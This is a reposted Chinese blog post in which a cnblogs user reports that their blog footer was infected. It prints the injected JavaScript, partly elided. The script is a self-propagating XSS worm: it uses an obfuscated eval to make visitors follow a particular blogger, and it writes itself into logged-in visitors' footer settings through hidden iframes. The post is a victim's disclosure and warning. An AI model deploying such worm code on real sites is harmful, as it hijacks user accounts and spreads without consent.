博客园被黑了?

简介:

博客园被黑了?

(抱歉占用首页一会儿)

是博客园被黑了还是只有我的博客被黑了?

刚发现我的博客被加入了下面的代码(出现在“管理->设置->页脚Html代码”里,其中一部分被我略去),有没有人遇到一样的情况?请管理员帮忙查一下。

这段代码在我这儿运行以后的效果是自动关注Darrel.Hsu的博客(链接是资料页没有恶意代码,博客有恶意代码,不要在登录状态下访问),到现在这个博客已经增加了几百粉丝(23:44有554粉丝,24:00时有565粉丝)。

Update: 可能是有某位注册用户在自己博客里加了这段代码,然后凡是处于登录状态下的园友访问这个用户的博客后都会被感染;如果处于未登录状态,则跳回到登录页,结果是博客里的所有文章都无法正常打开

被加入的代码如下:

<script>function hack(){
var id = "D_Hacker" + parseInt( Math.random() * 1000 );
function createIframe( src , cb ){
  var iframe ;
  if( ! ( iframe =  document.getElementById( id ) ) ){
    ...//
  }
  iframe.onload = function(){ cb( iframe ) } ; 
  if( src.indexOf("http") == 0 ){
    iframe.src = src ;
  }else{
    var doc = iframe.contentWindow.document;
    doc.open();
    doc.write( src );
    doc.close();
  }
}
var m = ["c", "n", "b", "l", "o", "g", "s", ".", "U", "s", "e", "r", "M", "a", "n", "a", "g", "e", "r", ".", "F", "o", "l", "l", "o", "w", "B", "l", "o", "g", "g", "e", "r"]
m = m.join("")
window.eval( m + '("b8a15066-1039-e011-ac81-842b2b196315")')
createIframe("http://www.cnblogs.com/",function( iframe ){
  var win = iframe.contentWindow;
  var href = $("#span_userinfo a:eq(1)", win.document );
  href = href.attr("href") + "admin/Configure.aspx";
  createIframe( href , function( iframe ){
    ...//
    if( val.indexOf("b8a15066()") < 0 ){
      val = val +  "<scri"+"pt>"+ hack.toString() +";hack();</scr" +"ipt>";
      $("#Edit_txbPageEndHtml",doc).val( val );
      $("#Edit_lkbPost" , doc ).trigger("click");
    }
  });
})
};hack();</script>


本文转自博客园八进制的博客,原文链接:博客园被黑了?,如需转载请自行联系原博主。


相关文章
ZCMU - 1919: kirito‘s 星爆气流斩
ZCMU - 1919: kirito‘s 星爆气流斩
73 0
|
Web App开发 安全 PHP
“天涯博客”“江西福利彩票网”等网站被挂马
据瑞星“云安全”系统统计,6月9日,共有1,697,327人次的网民遭到网页挂马攻击,瑞星共截获了334,006个挂马网址。 Backdoor.Win32.Gpigeon2007.cyr(灰鸽子后门病毒)“云安全”系统共收到48106次用户上报。
1409 0
|
搜索推荐 安全 索引
良好的链接与坏的链接:您的网站在哪里?
良好的链接与坏的链接:您的网站在哪里? 任何了解SEO的人都知道反向链接 - 一个站点链接回另一个站点 - 对于您的搜索排名很重要。你拥有的反向链接越多越好 - 一般而言。但是有很好的链接,并且有你不想要的坏链接。
1326 0
|
Web App开发 JavaScript 前端开发
详谈如何定制自己的博客园皮肤【转】
转自:http://www.cnblogs.com/jingmoxukong/p/7826982.html 目录   前言  Quickstart  定制博客园 CSS 的原理    页面定制CSS代码    博客侧边栏公告    页首Html代码    页脚Html代码  定制细节 ...
2191 0
博客园_02_详谈如何定制自己的博客园皮肤
原文地址: 详谈如何定制自己的博客园皮肤
1124 0
|
Web App开发 JavaScript 前端开发
详谈如何定制自己的博客园皮肤
前言 最近,有很多博客园的朋友给我留言或私信,询问我的博客背景是如何做的。 不是我敝帚自珍,而是由于内容较多,一一回复实在是太费劲。没有及时答复的朋友,请见谅。 我在这里做一次集中式分享,如果有喜欢的内容,尽管拿去。
1433 0
2017CSDN博客排名规则逆天了
2017CSDN博客排名规则逆天了 CSDN博客排名第2名基本信息: http://blog.csdn.net/ooduil/ 总共发表了6篇文章 评论数10条 访问量是:8409次 结果硬生生,积分154787,排名第2名 CSDN博客规则排名逆天了,小虎看不懂。
900 0